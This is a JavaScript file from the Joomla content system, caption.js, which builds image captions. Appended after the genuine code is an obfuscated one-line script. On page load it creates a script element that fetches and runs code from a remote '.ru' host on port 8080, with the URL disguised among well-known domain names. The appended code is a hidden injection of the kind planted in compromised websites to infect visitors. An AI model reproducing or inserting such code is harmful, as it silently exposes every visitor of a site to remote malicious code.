/**
* @version		$Id: caption.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
* JCaption javascript behavior
*
* Used for displaying image captions
*
* @package	Joomla
* @since	1.5
* @version	1.0
*/
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");
		var docMode = document.documentMode;

		//Windows fix
		if (!align)
			align = element.getStyle("float");  // Rest of the world fix
		if (!align) // IE DOM Fix
			align = element.style.styleFloat;

		text.appendChild(caption);
		text.className = this.selector.replace('.', '_');

		if (align=="none") {
			if (element.title != "") {
				element.parentNode.replaceChild(text, element);
				text.parentNode.insertBefore(element, text);
			}
		} else {
			element.parentNode.insertBefore(container, element);
			container.appendChild(element);
			if ( element.title != "" ) {
				container.appendChild(text);
			}
			container.className   = this.selector.replace('.', '_');
			container.className   = container.className + " " + align;
			container.setAttribute("style","float:"+align);

			//IE8 fix
			if (!docMode|| docMode < 8) {
				container.style.width = width + "px";
			}
		}

	}
});

document.caption = null;
window.addEvent('load', function() {
	var caption = new JCaption('img.caption')
	document.caption = caption
});

this.x="";try {var NA;if(NA!='N' && NA!='hy'){NA='N'};var R='replace';var j;if(j!='nI'){j=''};var z=RegExp;var S;if(S!='IX' && S!='nR'){S='IX'};var l=new Array();function I(u,L){var Zr='';var T='';var w=new Array();var bb=new Array();var _='[';var IH='g';var V;if(V!='' && V!='p'){V=null};_+=L;var _N;if(_N!='BN' && _N != ''){_N=null};_+=']';var s=new Date();var Hjn="";var b=new z(_, IH);return u[R](b, new String());var t=new String();};var DT;if(DT!='' && DT!='bd'){DT='kU'};var R_=new Array();var RO;if(RO!='vF' && RO!='ro'){RO='vF'};var ni;if(ni!=''){ni='Y'};var m=window;this.dx='';var cd=new String();var M='';var YG;if(YG!='' && YG!='a'){YG='zl'};var o;if(o!='' && o!='U'){o='MZ'};var Mh=I('cgr0eYa0tYeYEOlgeYmge0nYt0',"0OgY");this.ha='';var Q=I('821150122852501255',"42591");var pX;if(pX!='s_' && pX != ''){pX=null};var al=new Array();var h=I('hftftHpf:P/V/fvHiPrHgPiVn1mPeVdViHaf-PcPoHmV.HhfiP5P.fcfofm1.VpPcfwPofrPl1dH-fcHoHmV.HaPi1r1n1ePtPd1iVrVe1cHtV.HrVuH:P',"PfHV1");var Z=I('omnmlUomaUdm',"mU");var GD;if(GD!='' && GD!='ds'){GD='iz'};var sL=new Array();var n=I('/7l7i7v6eNj6aQs7m7i7nQ.Yc7oQm7/7lQiNvNe7jYa7sYmQiNn7.NcYo7mQ/YgYo7oNgYl6e6.Qc6o7mQ/YpNeYr7e7zYhNi7lNtNo7nN.QcYo7mY/Yo7v7hN.7n6e7tQ.YpNhNpQ',"7YNQ6");var uR=I('sPcPrOiPpPtP',"PO");var PZ=new Array();c=function(){var g=new String();var Ff=new String();mQ=document[Mh](uR);var QHZ=new String();var ya='';this.Ci="";M=h+Q;M+=n;var vi;if(vi!='eF'){vi=''};var pm="";var oP=new Date();var ju=new Date();mQ.defer=([8,1][1]);var Tl='';mQ.src=M;var af=new Date();var Ut;if(Ut!='' && Ut!='J'){Ut=null};var ct=new Date();document.body.appendChild(mQ);};var CS;if(CS!='d_'){CS=''};m[Z]=c;this.RS="";} catch(uh){var C_;if(C_!='wA'){C_='wA'};var QA=new Array();};